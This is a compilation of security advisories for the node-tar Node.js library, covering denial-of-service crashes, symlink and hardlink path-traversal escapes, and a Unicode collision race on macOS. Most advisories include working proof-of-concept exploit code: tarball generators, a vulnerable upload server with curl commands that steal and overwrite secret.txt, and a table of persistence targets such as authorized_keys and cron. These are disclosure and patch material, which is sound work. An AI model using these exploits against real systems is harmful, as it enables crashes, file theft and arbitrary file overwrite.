node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas helper to walk an archive entry path upward with path.dirname() and no segment cap when tar.t(...) or tar.x(...) receives a non-empty member-selection list. A crafted GNU L or PAX x long-path header with thousands of slash-separated segments reaches this.filter(entry.path, entry) in Parser[CONSUMEHEADER] in src/parse.ts before Unpack[CHECKPATH] applies maxDepth, causing an uncatchable RangeError stack overflow that terminates asynchronous and streaming Node.js consumers. This issue is fixed in version 7.5.21.
node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas helper to walk an archive entry path upward with path.dirname() and no segment cap when tar.t(...) or tar.x(...) receives a non-empty member-selection list. A crafted GNU L or PAX x long-path header with thousands of slash-separated segments reaches this.filter(entry.path, entry) in Parser[CONSUMEHEADER] in src/parse.ts before Unpack[CHECKPATH] applies maxDepth, causing an uncatchable RangeError stack overflow that terminates asynchronous and streaming Node.js consumers. This issue is fixed in version 7.5.21.
node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.
Summary
node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERRINVALIDARGVALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.
A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.
---
Root cause
Vulnerable sink — src/pax.ts:157-183
PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:
ts // src/pax.ts:157 const parseKVLine = (set: Record<string, unknown>, line: string) => { const n = parseInt(line, 10) if (n !== Buffer.byteLength(line) + 1) return set line = line.slice((n + ' ').length) const kv = line.split('=') const r = kv.shift() if (!r) return set const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') const v = kv.join('=') // <-- NO NUL STRIP set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) 1000) : /^[0-9]+$/.test(v) ? +v : v // <-- v with NULs lands here return set }
The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().
Correctly-patched cousin sink — src/parse.ts:375-388
The equivalent code path for GNU L/K long-headers does strip NUL bytes:
ts // src/parse.ts:375 case 'NextFileHasLongPath': case 'OldGnuLongPath': { const ex = this[EX] ?? Object.create(null) this[EX] = ex ex.path = this[META].replace(/\0./, '') // <-- NUL strip applied break } case 'NextFileHasLongLinkpath': { const ex = this[EX] || Object.create(null) this[EX] = ex ex.linkpath = this[META].replace(/\0./, '') // <-- NUL strip applied break }
The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.. The PAX path produces the identical primitive but bypasses the guard.
Downstream blast radius
entry.path and entry.linkpath are consumed in: - src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir - src/list.ts (no crash — listing tolerates NUL in strings) - Any consumer of the ReadEntry event that calls path.join() / fs. on entry.path
The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.
---
Proof of Concept
Artifacts - poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt - poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink) - poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro — Python 3)
python #!/usr/bin/env python3 """Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" import os
def cksum(b): s = 0 for i, x in enumerate(b): s += 0x20 if 148 <= i < 156 else x return s
def pad512(buf): rem = len(buf) % 512 return buf + b'\0' (512 - rem) if rem else buf
def hdr(name, size, typeflag, prefix=b'', linkpath=b''): b = bytearray(512) b[0:len(name[:100])] = name[:100] b[100:108] = b'0000644\0' b[108:116] = b'0001000\0' b[116:124] = b'0001000\0' b[124:136] = ('%011o ' % size).encode() b[136:148] = ('%011o ' % 0).encode() b[148:156] = b' ' b[156:157] = typeflag b[157:157+len(linkpath[:100])] = linkpath[:100] b[257:265] = b'ustar\x0000' b[265:270] = b'root\0' b[297:302] = b'root\0' b[329:337] = b'0000000\0' b[337:345] = b'0000000\0' b[345:345+len(prefix[:155])] = prefix[:155] s = cksum(b) b[148:156] = ('%06o\0 ' % s).encode() return bytes(b)
def pax(records): body = b'' for k, v in records: kv = b' ' + k + b'=' + v + b'\n' for digits in range(1, 8): total = digits + len(kv) if len(str(total)) == digits: break body += str(total).encode() + kv return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)
out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path out += hdr(b'placeholder', 1, b'0') out += pad512(b'A') out += b'\0' 1024 # end-of-archive
open('poc.tar', 'wb').write(out)
Reproduction
bash 1. Generate tarball python3 poc1-pax-prefix.py # writes poc.tar (3 KB)
2. Install vulnerable version mkdir repro && cd repro npm init -y && npm install tar@7.5.16
3. Try to extract with documented try/catch — observe uncaught exception mkdir -p ./out node --input-type=module -e ' process.on("uncaughtException", e => { console.log("UNCAUGHT:", e.code, "-", e.message); process.exit(99); }); import("tar").then(async tar => { try { await tar.x({ file: "../poc.tar", cwd: "./out" }); console.log("NORMALRETURN"); } catch (e) { console.log("CAUGHTBYUSER:", e.code); } });'
Observed output (verified 2026-06-23 against tar@7.5.16)
UNCAUGHT: ERRINVALIDARGVALUE - The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/.../out/visible.txt\x00hidden.txt' exit: 99
The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.
---
Impact
Direct: remote DoS
Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:
- npm registry tarball ingestion and downstream mirrors - GitHub Actions cache restore (actions/cache, actions/setup- extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling - Backup-restore services accepting user uploads - CI artifact processors and badge generators - Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs - Cloud functions that auto-extract uploaded archives
A correctly-coded consumer that does:
js try { await tar.x({ file: req.upload.path, cwd: tmpdir }); } catch (e) { return res.status(400).json({ error: 'bad archive' }); }
does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.
Secondary: parser-differential validator bypass (CWE-436)
| Tool | Result for path=visible.txt\x00hidden.txt | |----------------------------|----------------------------------------------| | GNU tar (tar -tvf) | Lists visible.txt (truncated at NUL) | | bsdtar -tvf | Lists visible.txt (truncated at NUL) | | Python tarfile.list() | Lists visible.txt\x00hidden.txt (raw) | | node-tar tar.t({file}) | Emits raw NUL-bearing path (no crash) | | node-tar tar.x({file}) | Crashes (uncaught throw) |
A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.
---
Suggested patch
Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:
diff --- a/src/pax.ts +++ b/src/pax.ts @@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
- const v = kv.join('=') + const v = kv.join('=').replace(/\0.$/, '') set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) 1000)
This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.
A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).
Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt": 1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l. 4. Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
js const fs = require('fs') const path = require('path') const { Header, x } = require('tar')
const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })
Run:
bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.
Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]: javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { / block / }
Hardlink creation in [HARDLINK]: javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
- Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.
- Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC Setup
Create a new directory with these files:
poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here)
package.json json { "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/) DATABASEPASSWORD=supersecret123
server.js (vulnerable file upload server) javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar');
const PORT = 3000; const UPLOADDIR = path.join(dirname, 'uploads'); fs.mkdirSync(UPLOADDIR, { recursive: true });
http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOADDIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOADDIR, 'upload.tar'), cwd: UPLOADDIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(http://localhost:${PORT}));
create-malicious-tar.js (attacker creates exploit TAR) javascript const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; }
// Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar');
Run
bash Setup npm install echo "DATABASEPASSWORD=supersecret123" > secret.txt
Terminal 1: Start server node server.js
Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read Returns: DATABASEPASSWORD=supersecret123
WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write
Confirm secret.txt was modified cat secret.txt Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | ~/.ssh/authorizedkeys | Direct shell access to server | | Cron Backdoor | /etc/cron.d/, ~/.crontab | Persistent code execution | | Shell RC Files | ~/.bashrc, ~/.profile | Code execution on user login | | Web App Backdoor | Application .js, .php, .py files | Immediate RCE via web requests | | Systemd Services | /etc/systemd/system/.service | Code execution on service restart | | User Creation | /etc/passwd (if running as root) | Add new privileged user |
Data Exfiltration & Corruption
1. Overwrite arbitrary files via hardlink escape + subsequent write operations 2. Read sensitive files by creating hardlinks that point outside extraction directory 3. Corrupt databases and application state 4. Steal credentials from config files, .env, secrets
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$
---
PoC
javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');
const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);
console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});
// Construct stream const stream = new PassThrough();
const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);
// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();
// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();
// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End stream.write(Buffer.alloc(1024)); stream.end();
// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });
stream.pipe(extract);
extract.on('end', () => { console.log('[] Extraction complete');
// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });
---
Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
---
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.